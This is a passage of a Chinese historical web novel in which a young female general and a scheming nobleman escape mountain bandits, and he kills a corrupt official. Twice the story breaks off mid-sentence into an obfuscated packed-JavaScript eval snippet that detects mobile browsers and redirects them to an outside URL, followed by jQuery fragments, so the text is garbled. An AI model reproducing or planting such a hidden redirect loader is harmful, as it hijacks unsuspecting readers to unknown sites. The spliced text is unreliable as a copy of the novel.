“坏了,”顾曾面沉似水,“等雾散去,他们就该放箭了。” 程彧咳了两声,道:“阿曾,擒贼先擒王,那匪首就在半山腰,穿得像个唱戏的那个就是。” 顾曾扫了一眼,“没看见。”又奇道,“你又是怎么知道的?” 程彧低笑道:“我也不是什么都不干的废物嘛。” 山间起风时会短暂拨开缭绕的雾气,程彧就是那时注意到那位把自己打扮成关公的匪首的。 眼见骁骑营已经左右支拙,有人体力不济,还有不少身上挂了彩,令有几个兄弟不慎牺牲,而山匪仍是不要命般一波接一波袭来,丝毫未见颓势。 有道是:凡战者,以正合,以奇胜。 他们这么点人,正面硬拼想来是赢不了了,那便只有出奇制胜这一个法子了。 顾曾半偏着头,冷冷道:“二公子,会骑马么?罢了,这种时候,你不会也得会。” 不待程彧开口,她便将那棘手的缰绳强行塞到那置于她身前的手中,“你来控缰,稳当些,摔死了我可不管。” 程彧哭笑不得:“属下定不辱命。” 得了空,顾曾弯腰抄起弓,抽出箭筒中最后的两支利箭。她眯眼望去,喃喃道:“半山腰半山腰,唱戏的唱戏的……程容与!怎么驾的马?!” 程二公子操作失误,骏马四处乱蹦跶,自己的腿正好撞到别人枪上,还没顾得上喊疼,又经顾将军当头一声暴喝,险些就要哭出来了,委屈道:“阿曾,你这马它不听我使唤。” “笨死了,”顾曾覆住他的手,引着他牵引缰绳,“我的马自己会躲刀剑,你只需顺着它来,该松时松……若它撒野,就像这样,你也不可由着它胡来。我不要你冲锋陷阵,只要你为我争取片刻,懂了么?” 她那和战甲一样冰凉的掌心满是粗茧,落在程彧温润如玉的手背,恰如耳鬓厮磨。 二公子耳根发烫,囫囵应付道:“懂、懂了!” 顾曾再次松开手,抬眼望去,果然看见了程彧口中那位“唱戏的”。 这位山大王此时正游刃有余地观战,对上顾曾杀气凛冽的眼神时,还对她咧嘴大笑,露出满口黑乎乎的坏牙。 顾曾不语,开始搭弓。 程彧进步神速,此时已然不会让人在马上四处乱飞了,颇有闲心问道:“阿曾,如何,有把握么?” 顾曾:“有点远,你先稳住,我让你拉缰时你全力向后扯。” “好。”程彧也不管她要做什么,只管干劲满满应道。 朝暾初上,灿烂的光幕落在顾曾的一侧,抚平她无尽的清冷,添她一丝温柔。程彧偷偷看着她明亮专注的眼神,挪不开视线,好似要把这一幕牢牢镌刻在心里。 “再看,下一支箭的滋味就留给你。”顾曾冷冷一瞥,吓得二公子身子一僵,慌乱别开头去。 顾曾拉开弓弦,死死盯住箭尖所指。一片薄雾飘过她与匪首之间,连老天也要助她一臂之力。 她的身体绷得笔直,鬓角冷汗直流。她不会说,其实她的右臂早已酸麻不堪,现下完全是在凭着千万次训练留下的肌肉记忆在拉弓。 薄雾散去,露出匪首那争奇斗艳的衣角。 就是现在。 “程容与!”顾曾一声高喝,程彧用力扯住缰绳,骏马被扼住咽喉一般,前蹄高高抬起,仿佛下一刻便要学会直立行走。 二公子没坐稳,一个跟头从马上跌落。 “阿曾!”他心急如焚抬头一看,顾将军正人马合一,安如磐石地焊在马背上,长发猎猎如飘扬的战旗,手中挽弓如满月。 利箭直出,穿云破雾,毫不拖泥带水地在匪首的喉心洞了个窟窿。 “好精湛的箭术……”程二公子一时又看呆了。 不待马蹄落下,顾曾抄起最后一支箭,眼疾手更快,搭弓便射,赏了匪首身旁那呆若木鸡的军师一个穿心箭。 骏马重重落地,暴躁地长声嘶鸣,好似在埋怨主人对它的心狠手辣。顾曾探身揉揉它的耳朵,好生安抚了一番。 不多时,山谷中响起一阵隆隆的鼓声,急躁杂乱,不伦不类——山匪见势不妙,终于打算撤兵谈判了。 顾曾行至程彧面前,喘着粗气,翻身下马,疲惫一笑,没什么诚意地拜道:“二公子,情急之下多有得罪,不碍事罢?” 她几乎是挣扎着下来的,右手软塌塌地垂在一侧,仿佛一只不听话的义肢。 程彧立即便留意到了,颤抖地抬眼,“阿曾,你不碍事么?” 原来她早就连胳膊都抬不起来了,所以才不得不借助骏马腾跃的力量。 顾曾摇摇头,避开他关切的目光,快步走到林霜身侧。 被染 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哪知这帮家伙简直不是人,是杀人如麻的利器! 万春山十六个山头的弟兄一拨一拨地去送死,人没除掉,那夸下海口的老大却死了,许诺的银子又该找谁讨去? 那“十三爷”打量了一下残存的骁骑营,狞笑了一声:“兄弟们,依我看他们也快坚持不住了,先把这票干完再说,不能白白折了咱们这么多弟兄。说不定出钱的老爷看咱们辛苦,每人给发上二两打牙祭,就算一两没捞到,也当是给白死的弟兄们报仇了!” “报仇!报仇!”这些山匪都不大聪明,只跟着上头的人做事,这时候只要有个主心骨站出来,他们便能听风落雨。 “慢着。” “慢着。” 山匪复燃的一点士气就如狂风中的火星子,随随便便就灭了。 顾曾刚出口,就发现身后有人和她同异口同声。 程二公子闲庭信步,仿佛在自家府邸的后院踏青一般,踩着满地尸首徐徐而来,足上的浮光锦不染血色。 一个山匪捂着心口,流着哈喇子,“谦谦君子,温润如玉。青青子衿,悠悠我心。十三爷,这小白脸能不能赏我?” 顾曾不自然地掀了个眼皮,心道:“小白脸也是你能喊的么……” 不得不承认,程二气质卓然,举手投足满是矜贵,虽不似林霜等人那般威压,看起来却更加惹不起。 那十三爷耸了耸眉梢,狭长的眸间永远都留着一丝阴狠,口中仍是笑着:“不知这位公子有何指教?” “指教谈不上,”程彧折扇轻摇,“你是老十三?你们老大老二老三老四老五呢?怎么轮到你出来说话?” 十三怒道:“我名十三,不是行十三!我就是我们万春十六洞里老三!不对,老大和老二都死了,我如今就是老大!” 程彧嗤笑几声:“老三还是老大么,都一样。” 他三言两语就触到了这十三爷的逆鳞,十三将拳头捏得咯吱作响,杀意更重,“阁下究竟想说什么?” “我想说啊……”程彧折扇一合,从怀中掏出个亮到晃眼的符牌,眼中神采飞扬,笑意溢于言表。 “不想陪葬的话,休要轻举妄动。” 5. 金翎 十三眯眼瞧了瞧程彧手中的符牌,蓦地脸色一变:“金翎符?!” 顾曾闻言骇然,细看那符牌,一眼便知并非凡品。这小玩意不大,却比深宫里的琉璃瓦还要辉煌,金灿灿到有些灼目,四周密密麻麻刻着数不清的符号与图腾,中间一个双臂环蛇的神女正虔诚地跪倒在苍鹰之下。 确是只存在于传说中的金翎符无疑。 她和林霜相视一望,交换了个不可思议的眼神——这金翎符是何等宝物,怎么陛下就随随便便赠与了程二这外臣之子? “什么金翎符?”四周刺目的视线快要将他大卸八块,程彧撇眼一看,“哎哟见谅,太着急拿错了……” 他火速收回那金翎符,又从怀里掏出一块板正的碧玉牌,拿在手上,指尖扣出叮铃叮铃的清脆响声,“这次才对……咳咳,十三爷,你瞧这是什么?要不要拿去验验货?” 程彧现在手上所持是大内侍卫统领的玉牌,寻常人见了也要打个寒颤,奈何珠玉在前,除非他此刻掏出个传国玉玺,不然众人也见怪不怪了。 他左一个东珠,右一个金令,口袋里不知还藏着多少件价值连城的宝贝,相比之下,他那一身不合时宜的锦衣华服都显得没那么突兀了。 一个不开眼的狗腿子眨巴着一双猥琐的眯缝眼,道:“十三爷,这些个宝贝得值不少钱罢,属下这就杀了他,全都拿来孝敬您……” 十三当头给了他一拳,黑脸发青,怒道:“杀杀杀,你有几条命?活得不耐烦自己找棵树去吊死。” “这位公子,”他好声好气抱了抱拳,“不知可是哪位殿下大驾光临?小的们也是在乱世中讨口饭吃,并非有意为难殿下。金翎符既出,小的们自然退下。” 众所周知,三枚金翎符,一枚由乾安帝自己把玩,一枚赐给了皇长子,而程彧拿着这最后一枚,十三便认定他也是皇帝宠爱的哪个皇子,又见他气度卓群,便更坚信自己的推论。 万春山这些土匪是无法无天的地头蛇,就算是大内统领在此也未必能镇住他们,可所持金翎符者必定天潢贵胄,他们小小的黑|道组织,本就是为了活命最后搏一把,可不敢冒着被西南府十万大军赶尽杀绝的风险得罪这位“殿下”。 程彧:“殿下?什么殿下?我不是。” 先前的眯缝眼狗腿子谄媚失败,打算在谄媚的路上一走到底,帮腔喝道:“你小子装什么蒜,我们大哥说你是你便是,哎哟……大哥这下打得好啊,小弟我多年的头疼风湿好像都治好了。” 十三叫人把这不争气的手下拖走,赔笑道:“殿下潜龙在渊,只是金翎符既出,吾等自然不能视而不见。” 程彧干咳两声,面不改色道:“行吧,既然不小心被你们认出来了,本王就不躲躲藏藏了。” “尾巴都要翘到天上去了,”顾曾无声掀他个白眼,心道,“鬼才信你是不小心的,也就骗骗这帮脑子不怎么灵光的土匪。” 程彧扬了扬眉梢,试探道:“那放我们走?” 第一天当上老大的十三爷一改往日的威风八面,皱着张苦瓜脸,唯唯诺诺不吭声,仿佛欠了几辈子都还不清的债。 怎么就没人提前告知他要截杀的队伍里有个皇子?难道是上头那帮人的权术之争?可大家都在西南这地界混日子,若是这样平白放走了这些人,将来万春山十六洞会不会被安宁军里那帮军大爷为难? 两相权衡之下,十三竟发现自己谁也不敢轻易得罪——他既不敢放程彧他们走,又不敢不放他们走。 这种时候,他无比希望能收回先前声明自己是老大的那句话,在心里把已经归西的前老大老二的十八代祖宗都问候了一遍。那二位兄台走得倒是潇洒又清净,留给他这么一个难以收场的烂摊子。 程彧慢悠悠道:“洞主老大,怎么个说法?” 十三艰难地抬起手,终于妥协道:“其他人都可以走,她不行。” “我?”顾曾本在一旁默默看戏看得正起劲,不料怎么对面话锋一转落到了自己身上。 她不安地瞧了林霜一眼,无声地询问:“他们知道了?” 林霜将拳头捏得咯吱咯吱响,喝道:“敢动我妹妹,得先问问我手里的刀。” “林大姐,消消气,气大伤身。”程彧生怕双方一言不合又要打起来,“阿曾,你怎么说?” 顾曾抬眼,眸间闪过转瞬即逝的诧异——即便她愿意,也没料到程彧当真打算用她来换所有人的命。 虽然顾将军无坚不摧,但毕竟只是个十八岁的小姑娘,被人推出去的那一刻也会有郁郁不平和不知所措。 她的声音有些异样的嘶哑,笑道:“好啊,划算得很,那就这么定了罢。” 林霜怒道:“不可能把阿曾交给你们!” 眼见她就要拔刀再战,顾曾忙道:“阿姐你听我说。” “听你说个屁,”林霜指着程彧大骂,“我铸光军才不屑和这种人为伍,就算是全军覆没,也不会……” “林将军,”顾曾压低了声音,正色道,“你连我的话也不听了么?你当初是如何许诺的,可还记得?听我的命令,立刻带人走。” 林霜不可思议地看着她,凶神恶煞的气势逐渐减弱,最终化为了一汪落寞的死水,几不可闻应道:“属下遵命。” 顾曾握住她冰冷刺骨的双手,悄声道:“这帮匪徒未必会信守诺言,出了这段山,你们立刻去向阆州求援。若是阆州不救,就去云雾山求殿下来救。阿姐,我没发疯,我清醒得很,在等到你们之前,我有的是筹码和他们谈判,不会让自己有事,你信我。” 她嘴上说着信她,实则双手已经掩不住在微微颤抖。未及披甲,已闻刍狗之叹;雪夜未行,已忧山道崎岖。 她是怕的。 长在林霜的庇护下十几年,顾曾从未有过孤立无援独扛大局的时候。她是沙漠最骄傲自负的鹰,总是觉得自己无所不能,这时候突然发现,没有千千万万站在她身后的铸光大军,她什么都不是,就连一群简单的乌合之众都能让她插翅难飞。 璞玉未琢,利剑未锋,而少女正在磨炼金戈铁马的胆魄。 她不自主搭上佩刀的握柄,见万山青葱,大河茫茫无际,心叹:若真是死在这群人手里,那她就算得上是大昭二百年来最窝囊的上将军了罢。 但见铸光军的兵士忿忿地望来,各各摩拳擦掌,仿佛只要她一声令下,他们就能视死如归地再战一场。 她又突然觉得自己也没那么没用。 “林大姐,你们走好。”程彧笑盈盈地对林霜摆手,俨然一副送客的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186687|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态,“放心,我会照顾好阿曾的,谁敢动她一根头发丝,我就叫人砍他一根手指头,绝不食言。” 他这句话几乎是高喝出去的,群山间的上千匪徒皆听得清清楚楚。林霜登时大喜过望,若真是由他罩着,山匪投鼠忌器,想来不会为难顾曾。 十三听了却颇为头疼,心想着好不容易能把这尊大佛送走,不料人家不仅不走,还打算在他们的洞里搭窝长住。 程彧看他抓耳挠腮的模样,笑笑:“十三爷不肯放阿曾走,这其中定有什么误会罢。你怕得罪人,无妨,本王亲自去替你摆平误会,教你从此高枕无忧,可好?” 十三说不上哪里怪,但在万春山十六洞混了这许多年,也是有些天生的求生本能在的,总之就是有种不祥的预感。可程彧下一刻就大手一挥,塞给他一袋亮闪闪的金子,还附带了几颗硕大到像假货的东珠,险些晃瞎了十三那永远都睁不开的眼。 不止是他,其他的山匪加在一起这辈子也没见过这么大手笔。 程彧豪迈大笑:“本王赏的,放林将军他们走。等我和阿曾去你们那坐够了,本王还另行有赏。哦对了,那马车里还有我一个不中用的废物手下,劳烦十三爷一并带走。” 眼前是明晃晃的金子,耳朵里听到的是赏赐,再冷静的土匪那也是土匪,也是见钱眼开的亡命徒,十三当时就被冲昏了头,下令让兄弟们给林霜等人让道。 漫山遍野的匪徒摇旗呐喊,见到钱让他们的眼睛比杀人时还要红上几分。顾曾心感不安,扯了扯程彧的衣袖,悄声道:“少露点财,这帮人为了银子可以不要命,你小心他们宁愿铤而走险也要绑了你当摇钱树。” “放心,我有分寸。”程彧道,“一袋金子,几颗东珠,短期内想要兑成现银不容易,在来人之前,每个人分到的钱还不足以买他们的命,他们不敢轻举妄动的。” 顾曾见他成竹在胸,颇为意外,没想到话本中整日鸡飞狗跳的败家子程二的本尊倒也不是全然无知的废物,甚至,有点城府。 她扬眉:“‘来人’?谁要来?” “没谁要来,”程彧含混笑过,眼神青白分明地望来,浅浅笑道,“阿曾,你适才是在关心我么?” 方才积累的那点神秘感被他一句话涤荡一空,顾曾虽不愿却也不得不承认,在听到他主动留下来陪她时,她是欣喜过一瞬的,不过顾将军清醒理智惯了,立刻便意识到,自己先前的那点麻木不仁也有他的一份功劳,两相消弭。 意思就是她不打算揍他一顿出气了。 山匪簇拥着二人向老巢前进,程二公子出手阔绰,深得人心,山匪主动将前老大的轿椅奉上,抬着他晃晃悠悠地走在山间野路里,像在荡秋千。顾曾面无表情地走在他身侧,隐有不安,右臂又疼得厉害,额头上渗出了一层细密的汗珠。 林霜领着人出了山匪的包围圈,交代了几句,便单枪匹马向南狂奔而去。 此处距阆州不过几十里路,她能做的也只有尽快赶到。她手上有马,即便马跑不动了她还可以自己走,今天,怎么也要见到阆州巡抚褚大人。 就在林霜心急如焚赶路时,空旷的山谷间却再次响起一声撕破天幕的嘹亮号角。 林将军勒了马,低骂一声:“这他娘的又是哪个山头来的人?!” 6. 石室 白望农两眼一睁就开始“哎呦哎呦”呻吟,入鼻一股浊臭,扯着脖子越过自己硕大的肥肚,看见裤子上满是污亵。他旋即意识到,那时看到的山匪不是梦,那帮不是东西的玩意真打来了!便不忘初心地嚎叫起来:“二公子!可不能去啊!” “……”程彧轻飘飘眄他一眼,“我要去哪?” 他就靠在一个燃得极盛的火堆旁,面色苍白,鬓角的碎发叫汗水浸湿,说话时有气无力,连素日里那股子不可一世的劲儿都弱了几分。 他们此时身处万春山深处的一座寨子中,外面已经入了夜,山匪们也不知是不是白天过的太惊心动魄,并未早早入睡,流水般的筵席既为悼念死去的弟兄,也为庆功,从日落一直持续到了现在。 顾曾靠在此间狭小石室的岩壁,听着外面永不止歇的嬉笑怒骂,瞥了眼程彧,道:“二公子脸色不好,可是和匪徒们称兄道弟累着了?” 这家伙口若悬河、舌灿生花,在筵席上把一众没文化的山匪哄得服服帖帖的,就差当场和他拜把子拉他入伙了。若不是他嚷着要回来“慰问”下属,顾曾觉得他能和三千匪徒一人干上一杯。 胆识是令人佩服的,就是行为有些不着调。 程彧微抬唇角,苦笑道:“阿曾你就别笑话我啦,实不相瞒,我这人一在幽室中就心慌意乱,有时连气也喘不匀。” 有些人在孩童时期遭遇过难以愈合的创伤,就会变成这个样子,好似留在身上一辈子的伤疤。顾曾没多问,只坐到他身侧,说道:“二公子需要人把你打晕么?我乐意效劳。还是说,有人陪你说说话会好受些?” 程彧眼神陡然一亮:“彻夜长谈么?那自然是极好,阿曾想聊什么?” 顾曾:“不知道。” “唔……”程彧低头,轻声道,“我很好奇,若是没有我出面,你们打算如何脱身?” 顾曾:“杀出去。” “杀不出去呢?你会把我交出去谈判么?”程彧抬眼望向她,眼里藏着隐隐的期待,烛影在他瞳中不安又恣意地跳动。他倏地又低笑了一声,似乎也被这问题愚蠢到了,想掩盖过去。 “会。”顾曾沉默许久,如实答道,“我会毫不犹豫把你推出去。” 程彧眼神一颤,看得顾曾肝疼了一下,下一刻二公子就没脸没皮摆手道:“你才不会。我今天没能让你脱困,你是在生我的气,对么?我的好阿曾,我这不是留下来陪你了么,你就行行好,原谅我这一次。” 顾曾两眼一黑,心道:“这人哪来这么多奇怪的歪理,竟然还自圆其说说服了自己。” 白望农见到他家凶神恶煞的混世魔王二公子如今转性般,围着人家姑娘花孔雀般地开屏,惊得下巴都快垂到肚皮上了,心道:“这位姑娘可当真是了不得啊。” 他留意起了顾曾,细短的眼睛眯成一条线,好似一只打盹的金丝虎,心里却明镜似的细细盘算着:“长得有点像,年龄也对得上,难不成真是……” 顾曾心中燥热,腾地起身,起身把外甲脱在一旁。内里湛青的棉衣几乎已教血染成墨紫色,散发着一股与她本人格格不入的腥臭气。 白望农捏了捏鼻子,细嗓道:“顾将军是哪里人士?家住哪里?不知……” “第一,”顾曾冷冷开口截住他的话茬,“闲聊恕不奉陪。第二,这些问题你家这便宜儿子几日前已经问过了,你见我答了么?” 白望农好声好气陪笑了几声,又道:“边塞的日子难熬,将军戎马倥偬,可是家中……” 他生生止住了话匣,因为他看到顾曾身后的程彧正死死盯着他,浑身透着毒蛇信子般的丝丝寒意,微微扯着面皮笑上一下,就比十八罗刹还来得令人畏怖。 顾曾见他住口,高兴还来不及,懒得同他纠缠。她卸甲时右臂用力太过,现在疼得像被车轮碾过一样,强忍着不出一声,只靠在石壁上微微喘着粗气。 身披战袍时她不怒自威,让人不敢冒犯,如今除去伪装,少女灵气自然流露,倒教人忍不住多看几眼了。 不消细看也能看出,她其实生得很美——眉目如画,眸若寒星,魂似冷月,不施粉黛便可皎然脱俗,只是大抵是失了艳丽,让人只敢远观而不敢靠近。 用铸光军里曾经的一个相面先生的话来说:“清冷太过,没了烟火气。” 先生的后半句话是:“是个薄情薄命的主。”后来,林霜把他拖下去打了一顿。 程彧看着她强忍疼痛,睫毛止不住地翕动,心尖一软,道:“阿曾,还想继续聊么?” 顾曾擦去鼻尖的汗滴,双目无神,应付道:“嗯,你说。” 程彧:“你这胳膊……是如何伤的?打仗的时候弄的么?” 顾曾随口答道:“不是,自己摔的。” “怎么摔的?” 程彧呼出的每口气息都更紊乱一分,顾曾立即留意到了,还以为他患了什么疾,猝不及防地将手贴上他额头,给程二公子吓得不轻,向后仓皇挪了半步,结巴道:“阿曾你……做什么?” “没发热啊,”顾曾自说自话,“早知道会让你更严重就不跟你聊这么多了,该直接把你打晕。” 程彧急道:“哪有说书说到一半不讲的道理,究竟怎么摔的?” 虽然不知他为何这么执着于揭别人伤疤,但总归也不是什么大不了的事情,没什么不能说的,顾曾道:“当时为了救个小孩儿,从城墙上掉下撞到了一块石头上,就这样了。” 那一下直摔得她整个胳膊断成了好几截,彼时又狼烟四起,她无暇静心养伤,就这样留下了病根。 见程彧沉默,白望农遂在一旁夸张的“嚯”了一声,适时捧场道:“顾将军侠义心肠,令人好不敬佩!” 顾曾不屑一笑:“当时年纪小不懂事,瞎逞英雄罢了。” 那些时日,她总是想着赶紧长大,心思全都花在了怎么出人头地上,总是要她爹追着给她处理烂摊子,真可谓是名副其实的心比天高命比纸薄。 包括这次掉下去摔断胳膊,其实城墙下就是察罕的十万大军,若非她爹捞得及时,顾将军恐怕早就投胎转世了。 嗯……十二年过去了,就算是重新投胎,算上在娘肚子里的时间,她现在也该是个水灵灵的小毛孩了。 程彧一直没说话,顾曾只道他身子不爽,索性便开始闭目养神。 她思虑心重,一静下来就开始信马由缰地胡思乱想,顺着先前的思路,若她真在那时投胎转世了,那怕是做不了爹娘的女儿了,只能做一家兄弟姐妹了——娘亲成了大姐,她是二姐,她那个不着五六的爹下辈子得给他们当小弟! 她又想到林霜,阿姐她一生清贫,外冷内热,本就不善言辞,又带着她这个爱惹事的拖油瓶,以至于这辈子连个意中人都没遇到过,镇日就是待在渭城练兵吃沙子,当年的“玲珑霸王花”如今脸上都教风刮出了一道道的细纹。 还有姜旬、花雨闲…… 即便是闭着眼睛,她也习惯分些心思留意四周动向。黑暗中,她的耳力更佳,忽然闻得石室外传来一股清亮的角音,呜呜然循风而来,霎时吹散了她纷杂的思绪。 这是只有大昭的正规军才会使用的巨型铜角。 她欣喜若狂,虽然知道林霜无论如何也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186688|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会赶来救她,可她没料到他们来得这样快,一切简直就像算好的那般。 思及此处,顾曾心绪一滞,猛然意识到了什么——林霜就算一刻不停赶向阆州也要将近一天,安宁军再怎么好说话,藩台那边再怎么通融,派兵来也得至少两日之后了,所以这些……其实都是某人算好的。 她心中已有计较,漠然看向程彧:“是你做的?” 程二公子眉目不惊,将光华内敛于心,稍稍抬了抬眉梢,笑道:“贺向笛这厮来得倒挺快,我还以为至少要等到明日清晨才能出这个鬼地方。” 他口中的“贺向笛”是安宁军的二级副将,同时也兼顾安宁侯和褚大巡抚的府兵防务。若不是有程彧在,区区一个顾曾是不可能请得动这位大人出山的。 三人中最喜出望外的算是白望农,他先是莫名其妙挨了程彧一拳,醒来就在这深山老林里受窝囊气,连屁都不敢放一个,如今援军终至,只消将程二这个喜怒无常的大佛安然无恙地送给安宁军,那他这一趟可就算漂漂亮亮完成了任务,只待来日回京随意交个差,高升户部侍郎那定是指日可待。 见他笑得合不拢嘴,程彧踱步至其身前,乐道:“白大人,什么事这么高兴,也同我说说?” 白望农摆手掩面,露出一个可谓娇羞的笑容,道:“二公子这话说的,贺将军来救咱们啦,下官能不高兴么?” “嗯?”程彧瞧了瞧石室入口,冷笑,“贺向笛是来救我和阿曾的,同你有何干系?” 白望农笑容一僵,“二公子?这话……” 他突然就发不出声音了,眼神向下一瞟,发现自己的脖子上不知何时多了柄薄如蝉翼的流纹刃——这还是出京前在宫里,他亲眼看到皇帝赐给程彧防身的,没想到二公子第一次拿来用,竟是用到自己身上。 他是鬼,绝对是鬼!是追魂索命的无常,是业火焚身的阎罗,是…… 程彧手指一带,整个人向后一仰,白望农的血霎时溅了一地。 白望农咽最后一口气前,只能模模糊糊看见个程彧的人影,听他低声笑道:“白大人今日为护我而不幸葬身匪窟,容与感激涕零。只愿黄泉路上你一路好走,莫再回头……” 白望农断气了。 程彧在他的尸身上擦干净匕首,微笑着把话说完:“……回头的话,我可只好再杀你一次啦。” 顾曾一直在旁默默看着,心间早已大骇,心跳得宛如在战鼓上撒了一把碎石子那般波动不休。 她不是怕见血,也不是怕死人,她莫名恐惧的其实是眼前这个笑靥如春的明媚少年,令她捉摸不透——京城的人都是这么手段毒辣、草菅人命的么?何况那人还是相识已久的同伴…… 顾曾还未开口质问,石室外便涌来一阵耸动的嘈杂声。 “殿下,殿殿殿下,救命啊!”一个醉醺醺的麻杆山匪连滚带爬四脚并用地跑来,口中不住呼唤,“安宁军打上门来了,他们不听我们解释的啊,我们可是好吃好喝供着殿下你的啊——” 他站在石室门口,望着地上一大摊新鲜的血,傻了眼。 “殿下?”麻杆晃了晃脑袋想看清些,正对上白望农一双睁得老大的眼,直吓得上下嘴皮子胡乱打架。 程彧对他晃了晃手中的流纹刃,笑道:“哎哟抱歉,先前骗你们的,其实我不是什么殿下,这次可帮不了你们。” 麻杆心有所感,拔腿便跑,顾曾眼疾手快,追上去一刀劈穿他后心。 她手腕一甩,横刀于空中划了个流畅的半月,雪亮的刀锋对准程彧,目光灼灼地冷笑一声:“看来二公子下一个该杀我了,出招罢。” 7. 铁门 三千匪徒在自家老巢被偷袭,前有大军后有高山,跑也跑不掉,只好被迫和安宁军开战。 他们要人有人,还占据地形优势背水一战,安宁军则胜在出其不意,大军分成几路包抄流窜的山匪,如洪水一般迅速席卷了整座匪寨。 贺向笛在中路盯着全局,林霜则救人心切,领着一路人从西边的山道蜿蜒而上,直奔匪寨后方而来。 安宁军早就知道这帮山匪在这横行无忌,但是没办法,剿匪要费太大力气、花太多钱,这帮贼寇又和兔子一样,年年都要冒一窝新的出来,杀都杀不完,剿匪这种事冤大头才会去做,吃力不讨好。 象征性平了两个山头之后,安宁军索性便和他们议和:我不剿你,但你也别太过分,抢到的东西还得分我几成。 两股势力就这样相安无事并存了许久,直到最近,贺向笛收到京城加急传令,命他护好来西南府出游的程二公子——出游怕是什么借口,视察才是正经要事罢! 贺向笛全力戒备准备大张旗鼓迎接一番,可是信都到了好多天了,各个关隘却没见到程彧的人影。他这才慌了神,明白自己想是摊上了大事。 安宁军的密探迅速分散到整个西南府,日夜搜寻,仍是没能找到程彧的踪迹,就在贺将军准备北上负荆请罪之时,有探子来报,说万春镇里有个小乞丐拿着个大得吓人的东珠,应该就是传说中皇帝当年赏给二公子的那斛从东瀛进贡来的神物。 贺向笛稍感欣慰,一口气还未喘匀,与此同时,万春山十六洞这边也报出异象——这帮闲人素日就喜欢在山里打洞,如今几乎倾巢而出,气势汹汹往万春镇方向杀过去了! 他几乎要被这群没脑子的蠢猪气死:“贪得无厌的山匪活腻歪了么,居然抢到程二公子的身上来了?” 气急败坏的贺将军恶向胆边生,也不顾什么和山匪的友好协议了,立即动员了三万安宁军来剿匪。 三千匪徒又如何,他点了三万人,难道还能打不服这帮龟孙子? 大军赶来的路上恰好遇上心急火燎的林霜,贺向笛听说程彧还被这帮龟孙给绑回了寨子里,当场破口大骂三声“狗贼乱我河山,欺人太甚”,拎着大刀急冲冲地就前来寻仇。 他知道十六洞这群山匪的规矩——长得磕碜的,直接剁了喂狗;长得有点姿色的,就轮流玩直到腻了为止,且男女一视同仁,绝不放过一个。 二公子模样俊秀,谪仙般的人物,落到他们手里,怕是凶多吉少。 贺将军亲自上阵,想到自己的仕途可能就要这般断送,已是杀红了眼,全然不顾寨头那摇得起飞的白旗,命手下的兵源源不断地涌上前方。 顾曾背靠石室出口,听着外面响彻山谷的喊杀声,显然已经乱成一锅粥了。她晃了晃泛着寒光的刀刃,似乎是在催促:“二公子,还不动手么,在等什么?” 程彧将流纹刃插回袖袋,苦笑一声:“阿曾,你好生伤我心。我又没疯,杀你做什么?” 顾曾却不领这个情,朝躺在地上的白望农扬了扬下巴:“那你杀他做什么?” “因为他该死。”程彧冷冷撇下一眼,“这位白大人在京城为官十余载,贪赃枉法,结党营私,无恶不作,我杀他何错之有?” 顾曾:“该不该死,不是你说了算的。” 程彧道:“那他和人串通好,一路上给我的食膳下毒,想让我不明不白死在西南,再以此要挟安宁侯协其为虎作伥,除掉程家这个政敌,也不干我的事么?” 顾曾犹豫了一瞬,仍是没放下刀。她本想问他毒解没解,但看他现在活蹦乱跳的样子,怕是一早就发现了端倪,根本就没中毒。 她有些恼自己这不合时宜的仁义,说出口的话刻意带了几分刺:“要挟安宁侯……你有那么大面子么?” 即便她口中如是说,心中仍是信的。外界流言道,皇帝对程家二公子宠爱之至,远胜大部分皇子,若以他相挟,安宁侯不见得不会有所忌惮。 “阿曾,我自然还有别的私心。”程彧顿了顿,迎着她锋利的刀刃走近两步,悄声道,“陛下派他来西南,可不是来赈灾的,他让他来此寻人……” 顾曾心里陡然一个激灵,身上不寒而栗,已不自觉握紧了拳头:“寻谁?” 程彧不慌不忙,神秘兮兮笑了半天,才道:“你猜?” “……”顾曾被他的大喘气吊得胸口快炸了,狠狠瞪他一眼,“爱说不说。” 程彧歪头瞧她,一双桃花眼已经笑成了个弯弯的月牙:“寻已故上将军傅昙的独女,傅无隅,你可认识?” 顾曾心里“咯噔”一下,多年后再闻此名,她浑身如堕冰窟,心脏不安稳地砰砰乱跳,四肢几乎动也不能动,好在做了多年将军,气势还是在的。她面上毫不改色,仍是清清冷冷的,一呼一吸间,只轻轻咬了咬舌尖,已然镇定了下来:“认识,很熟。” 还不忘心道:“岂止是认识,傅无隅本人如今就站在你面前同你讲话。” “什么?她在哪?”这下轮到程彧诧异了,呼吸连带着一滞,竟前所未有地紧张起来,心道,该不会是自己认错人了罢?那可真是大大的不妙! 顾曾勾了勾唇角:“十二年前,死在某个无人知晓的荒郊野岭了。此事天下皆知,二公子难道不知?” 程彧一怔,松了口气,释然一笑:“我知,我自然知道。只是白望农这厮很会讨巧,回京面圣定要一番天花乱坠牵连出无辜人士,到时候傅将要倒霉,宸王要倒霉,西北不太平,天下要大乱。阿曾,你说,我有没有必要现在灭了他的口?” “二公子才是会讨巧,”顾曾悠悠抬眸,望进他看不出悲喜的一双眼,连连冷笑,“杀了人,还能把自己夸成是为民除害的大善人,天下巧舌如簧第一人,二公子当仁不让。” 